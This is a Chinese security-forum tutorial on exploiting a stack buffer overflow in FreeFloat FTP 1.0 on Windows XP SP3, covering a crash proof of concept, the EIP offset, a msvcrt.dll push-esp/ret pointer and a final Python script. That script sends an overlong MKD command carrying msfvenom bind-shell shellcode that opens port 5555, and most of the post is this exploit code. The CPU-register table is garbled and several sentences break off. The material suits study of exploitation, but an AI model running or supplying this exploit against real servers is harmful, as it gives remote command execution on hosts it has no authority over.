FreeFloat FTP1.0 溢出漏洞分析

小峰 / 2018-02-06 17:27:00 / 浏览数 1722 新手 入门资料 顶(0) 踩(0)

FreeFloat FTP1.0 溢出漏洞分析

最近在研究逆向，跟着国外文章在入门。

环境准备：

- xp sp3
- FreeFloat FTP 1.0
- kali
- ollydbg
- Immunity Debugger
- Mona.py

当发生溢出时，我们正在清楚两点;（1）我们的缓冲区需要覆盖EIP（当前指令指针）和（2）其中一个CPU寄存器需要包含我们的缓冲区。您可以看到下面的x86 CPU寄存器列表及其各自的功能。我们需要记住的是这些寄存器中的任何一个都可以存储我们的缓冲区（和shellcode）。

```
EAX - ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
     ■■■■■■■■■■■■■
EBX - ■■■■■■■■■DS■■■■■■■■■■■■■■■■■■■
     ■■■■
ECX - ■■■■■■■■■■■■■■■■■■■■■■■
     ■■■■■■■■■■■■■■■■■■
EDX - ■■■■■■■■■■I / O■■■■■■■■EAX■■■■64■■
ESI - ■■■■■■■■■■■■DS■■■■■■■■■■■■■■■■
     ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
EDI - ■■■■■■■■■■■■■■■■■■■■■■■■■■■■
     ES■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
     ■■■■■■■■■■■■■■
EBP - ■■■■■■■■■■■■■■■■■■SS■■■■■■■■■■■■
     ■■■■■■■■■■■■■■■■■■■
ESP - ■■■■■■■■SS■■■■■■■■■■■■■■■■■■■■■
     ■■■■■■■■
EIP - ■■■■■■■■■■■■■■■■■■■■■■■
```

漏洞数据库：https://www.exploit-db.com/exploits/40711/（下图去除了一些注释，该网址完整版可以自己上去看）

通常我们需要做坏字符分析，我们在exploit-db上预先存在的metasploit模块中查看出坏字符。列出的字符是\x00\x0A\x0D。我们需要记住这些字符以备后用（后面生成sh

---

第一步： 让FreeFloat FTP1.0 出现崩溃

首先我们需要创建一个POC来使FTP服务器崩溃。我在exploit-db上找到的"FreeFloat FTP"的漏洞进行了攻击。我们将使用FTP服务器配置的预先存在的"匿名"用户帐户（漏洞应该与任何有效的登录凭据一起使用）。这一步的主要目的是为了确定那个寄存器存

```
#!/usr/bin/python
import socket
import sys

evil = "A"*1000

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.190.139',21))

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
```

```
s.send('QUIT\r\n')
s.close
```

然后我们先把FTP服务器扔进行启动好的，然后我在kali上运行POC，发现程序崩溃了。你可以看到EIP被覆盖，两个寄存器（ESP和EDI）包含我们的缓冲区的一部分。在分析

第二步：覆盖EIP

接下来，我们需要分析我们的崩溃，为此我们需要用metasploit模式下pattern_create.rb进行生成替换我们之前设置的A，并重新发送缓冲区。注意，由于变化的缓冲区长度

当程序再次崩溃时，我们可以看到以下内容，只是EIP（和两个寄存器）现在被部分metasploit模式覆盖了。我们可以用"mona"来分析程序崩溃。你可以在下面的截图中看到

```
!mona findmsp
```

从分析中我们可以看到，EIP被我们缓冲区的最初247个字节之后的4个字节覆盖。就像我之前说过的，我们也可以看到，ESP包含了一大块缓冲区，所以它是我们攻击的一个

```
evil = "A"*247 + "B"4 + "C"749
```

当我们重新发送修改后的缓冲区时，我们可以EIP被我们的四个B覆盖。

这意味着我们可以用一个将执行流重定向到ESP的指针来替换这些B。我们要清楚的是我们的指针不能包含坏字符。要找到这个指针，我们可以用下面的命令使用"mona"。如

```
!mona jmp -r esp
```

然后我们再打开jmp.txt查看进栈的地址：

看来，这些指针中的任何一个都可以，它们属于操作系统的DLL，所以它们将特定存在于"WinXP PRO
SP3"，但这不是我们主要关心的问题。我们可以使用列表中的第一个指针。请住，由于CPU的Little Endian架构，我们需要反转字节顺序。

0x77c21025 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512
(C:\WINDOWS\system32\msvcrt.dll)
Buffer: evil = "A"*247 + "\x25\x10\xc2\x77" + "C"*749

所以我这里最后成型的POC:

```
#!/usr/bin/python

import socket
import sys

#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------

evil = "A"*247 + "\x25\x10\xc2\x77" + "C"*749

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.190.139',21))

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
```

然后让我们在Immunity
Debugger重新启动程序，并在我们的指针上放置一个断点，以便在调试器到达时暂停。正如我们在下面的屏幕截图中看到的，EIP被我们的指针覆盖，我们触发了我们的断点

第三步：构造恶意shellcode

我们需要（1）修改我们的POC，为我们的shellcode添加一个变量，（2）插入payload。让我们从POC开始，我们将把我们的有效载荷插入到现在由C组成的缓冲区中。理想

```
#!/usr/bin/python

import socket
import sys
```

```
shellcode = (
)

#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------

buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x25\x10\xc2\x77" + buffer + "C"*(749-len(buffer))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.190.139',21))

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
```

然后我们使用msfvenom生成恶意shellcode 。

所以最好成型代码如下：

```
#!/usr/bin/python
import socket
import sys

#-------------------------------------------------------------------------------#
# msfvenom windows/shell_bind_tcp LPORT=5555  -b '\x00\x0A\x0D' -f c            #
#-------------------------------------------------------------------------------#

shellcode = (
"\xb8\x9f\xdb\xc8\xe7\xdb\xdc\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x53\x31\x42\x12\x83\xea\xfc\x03\xdd\xd5\x2a\x12\x1d\x01\x28"
"\xdd\xdd\xd2\x4d\x57\x38\xe3\x4d\x03\x49\x54\x7e\x47\x1f\x59"
"\xf5\x05\x8b\xea\x7b\x82\xbc\x5b\x31\xf4\xf3\x5c\x6a\xc4\x92"
"\xde\x71\x19\x74\xde\xb9\x6c\x75\x27\xa7\x9d\x27\xf0\xa3\x30"
"\xd7\x75\xf9\x88\x5c\xc5\xef\x88\x81\x9e\x0e\xb8\x14\x94\x48"
"\x1a\x97\x79\xe1\x13\x8f\x9e\xcc\xea\x24\x54\xba\xec\xec\xa4"
"\x43\x42\xd1\x08\xb6\x9a\x16\xae\x29\xe9\x6e\xcc\xd4\xea\xb5"
"\xae\x02\x7e\x2d\x08\xc0\xd8\x89\xa8\x05\xbe\x5a\xa6\xe2\xb4"
"\x04\xab\xf5\x19\x3f\xd7\x7e\x9c\xef\x51\xc4\xbb\x2b\x39\x9e"
"\xa2\x6a\xe7\x71\xda\x6c\x48\x2d\x7e\xe7\x65\x3a\xf3\xaa\xe1"
"\x8f\x3e\x54\xf2\x87\x49\x27\xc0\x08\xe2\xaf\x68\xc0\x2c\x28"
"\x8e\xfb\x89\xa6\x71\x04\xea\xef\xb5\x50\xba\x87\x1c\xd9\x51"
"\x57\xa0\x0c\xcf\x5f\x07\xff\xf2\xa2\xf7\xaf\xb2\x0c\x90\xa5"
"\x3c\x73\x80\xc5\x96\x1c\x29\x38\x19\x37\x19\xb5\xff\x5d\x4d"
"\x90\xa8\xc9\xaf\xc7\x60\x6e\xcf\x2d\xd9\x18\x98\x27\xde\x27"
"\x19\x62\x48\xbf\x92\x61\x4c\xde\xa4\xaf\xe4\xb7\x33\x25\x65"
"\xfa\xa2\x3a\xac\x6c\x46\xa8\x2b\x6c\x01\xd1\xe3\x3b\x46\x27"
"\xfa\xa9\x7a\x1e\x54\xcf\x86\xc6\x9f\x4b\x5d\x3b\x21\x52\x10"
"\x07\x05\x44\xec\x88\x01\x30\xa0\xde\xdf\xee\x06\x89\x91\x58"
"\xd1\x66\x78\x0c\xa4\x44\xbb\x4a\xa9\x80\x4d\xb2\x18\x7d\x08"
"\xcd\x95\xe9\x9c\xb6\xcb\x89\x63\x6d\x48\xb9\x29\x2f\xf9\x52"
"\xf4\xba\xbb\x3e\x07\x11\xff\x46\x84\x93\x80\xbc\x94\xd6\x85"
"\xf9\x12\x0b\xf4\x92\xf6\x2b\xab\x93\xd2")

#-------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                        #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                   #
# shellcode at ESP => space 749-bytes                                           #
#-------------------------------------------------------------------------------#

buffer = "\x90"*20 + shellcode
```

```
evil = "A"*247 + "\x25\x10\xc2\x77" + buffer + "C"*(749-len(buffer))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.190.139',21))

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close;
```

最后我们重启启动FTP服务器，然后启动我们的POC，然后使用nc进行连接。

上一篇：【代码审计】yxcms从伪XSS到... 下一篇：java反序列化漏洞-金蛇剑之hi...

1. 1 条回复

47235****@qq.com 2018-03-07 11:20:46

牛逼！

0 回复Ta
